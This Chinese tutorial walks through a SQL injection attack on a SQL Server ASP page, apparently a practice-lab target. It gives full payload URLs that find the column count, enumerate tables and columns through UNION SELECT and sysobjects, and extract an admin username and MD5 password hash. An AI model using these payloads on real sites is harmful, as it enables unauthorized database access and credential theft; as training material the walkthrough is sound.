sql?server數(shù)據(jù)庫如何進(jìn)行sql注入
1、判斷數(shù)據(jù)庫類型
抓包知sql server,所以注入語句跟MySQL有些區(qū)別
2、判斷注入點(diǎn)
“http://219.153.49.228:42514/new_list.asp?id=2 ”,當(dāng)id=2 and 1=1時(shí)顯示正確,id=2 and 1=2時(shí)頁面報(bào)錯(cuò)。
3、確定列數(shù)為 4
/new_list.asp?id=2 ORDER BY 1
成功/new_list.asp?id=2 ORDER BY 2
成功/new_list.asp?id=2 ORDER BY 3
失敗/new_list.asp?id=2 ORDER BY 4
成功/new_list.asp?id=2 ORDER BY 5
失敗/new_list.asp?id=2 ORDER BY 6
失敗/new_list.asp?id=2 ORDER BY 7
失敗
根據(jù)這些信息,
ORDER BY 4
成功,而ORDER BY 3
失敗,這看起來很矛盾,因?yàn)橐话銇碚f,如果ORDER BY 3
失敗,ORDER BY 4
應(yīng)該也會(huì)失敗。分析原因:
SQL查詢結(jié)構(gòu): 可能你查詢的SQL語句涉及了多個(gè)表連接或者子查詢,這會(huì)導(dǎo)致某些列存在而其他列不存在的情況。
自定義排序: 數(shù)據(jù)庫的查詢中可能存在自定義排序邏輯,某些列可能只在特定條件下可用。
***所以sql測試中,我們需要進(jìn)行更多測試以確認(rèn)列數(shù)
4、判斷回顯字段
這其實(shí)還要分兩種情況:
1、回顯的字段是字符型,還是整數(shù)型或其他
數(shù)據(jù)類型匹配:
數(shù)據(jù)庫表中的列有特定的數(shù)據(jù)類型(如整數(shù)、字符串、日期等)。當(dāng)注入的值與列的數(shù)據(jù)類型不匹配時(shí),會(huì)導(dǎo)致SQL語法錯(cuò)誤或類型錯(cuò)誤。例如,如果某列期望一個(gè)字符串類型的數(shù)據(jù),而你傳入一個(gè)整數(shù),數(shù)據(jù)庫可能會(huì)報(bào)錯(cuò)。SQL查詢構(gòu)造:
SQL注入構(gòu)造的查詢語句需要與數(shù)據(jù)庫表的結(jié)構(gòu)和列類型匹配。使用單引號(hào)包裹的值通常被解釋為字符串類型,而不使用引號(hào)的值通常被解釋為數(shù)字或列名。
2、注入成功是要在頁面正常顯示情況下回顯字段,還是頁面報(bào)錯(cuò)情況下才會(huì)回顯字段
正常頁面:當(dāng)提供的id
值有效時(shí),原始查詢會(huì)返回一個(gè)正常的結(jié)果集,頁面會(huì)顯示該結(jié)果。如果 UNION ALL SELECT
注入成功,并且注入的列恰好在顯示內(nèi)容中,那么注入的結(jié)果可能會(huì)被id值結(jié)果覆蓋。錯(cuò)誤頁面:當(dāng)提供的 id
值無效時(shí),原始查詢失敗,頁面可能顯示錯(cuò)誤信息或沒有結(jié)果。在這種情況下,注入的 UNION ALL SELECT
可能成為唯一的結(jié)果集,因此被顯示出來。
思路:
①先假設(shè)為全部字段為字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。發(fā)現(xiàn)并沒有回顯
②id=-2時(shí),頁面報(bào)錯(cuò),所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'?;仫@2、3字段
到這已經(jīng)可以判斷出2、3字段是字符型,并且頁面有報(bào)錯(cuò)信息時(shí)才有回顯,否則被內(nèi)容覆蓋
然后判斷1、4字段類型,需要一個(gè)一個(gè)去除單引號(hào),判斷其回顯情況
5、獲取數(shù)據(jù)庫信息
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4
6、獲取數(shù)據(jù)表名manage
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4
7、獲取列名:id、name
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4
以此類推,獲取第3個(gè)字段,第4個(gè)字段
8、查出用戶名和密碼
用戶名:admin_mz、加密密碼:72e1bfc3f01b7583
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4
9、md5解密
9、總結(jié)
1、判斷數(shù)據(jù)類型是很重要的一點(diǎn),影響后面的注入語句
2、確定列數(shù)時(shí),要多測幾組數(shù)據(jù),從而分析判斷列數(shù),并不是遇到第一個(gè)報(bào)錯(cuò)就停止測試
3、正常網(wǎng)頁(例如id=1,參數(shù)正確)沒有注入回顯時(shí),試試報(bào)錯(cuò)情況(id=-1),注入回顯有可能被正常返回?cái)?shù)據(jù)覆蓋
4、注入回顯的字段有可能整形、字符、小數(shù)等,注意是否需要單引號(hào)
5、最好先全部統(tǒng)一會(huì)先字段類型,比如全部整形,挨個(gè)輪流改變?yōu)樽址?/p>
到此這篇關(guān)于sql server數(shù)據(jù)庫如何進(jìn)行sql注入的文章就介紹到這了,更多相關(guān)sql server數(shù)據(jù)庫sql注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Sql學(xué)習(xí)第三天——SQL 關(guān)于with ties介紹
with ties一般是和Top , order by相結(jié)合使用的,會(huì)查詢出最后一條數(shù)據(jù)額外的返回值,接下來將為大家詳細(xì)介紹下,感興趣的各位可以參考下哈2013-03-03SQL where條件和jion on條件的詳解及區(qū)別
這篇文章主要介紹了SQL where條件和jion on條件的詳解及區(qū)別的相關(guān)資料,這里舉例說明該如何區(qū)分,需要的朋友可以參考下2016-12-12在sql Server自定義一個(gè)用戶定義星期函數(shù)
程序開發(fā)過程中需要做周別統(tǒng)計(jì)與顯示報(bào)表。在做之前,得先找出所在年份周別的開始日期與結(jié)束日期。每年每周的開始與結(jié)束日期都不盡相同。為了該功能,在sql Server自定義一個(gè)用戶定義星期函數(shù)2012-01-01sql根據(jù)表名獲取字段及對(duì)應(yīng)說明
sql根據(jù)表名獲取字段及對(duì)應(yīng)說明,需要的朋友可以參考下。2010-09-09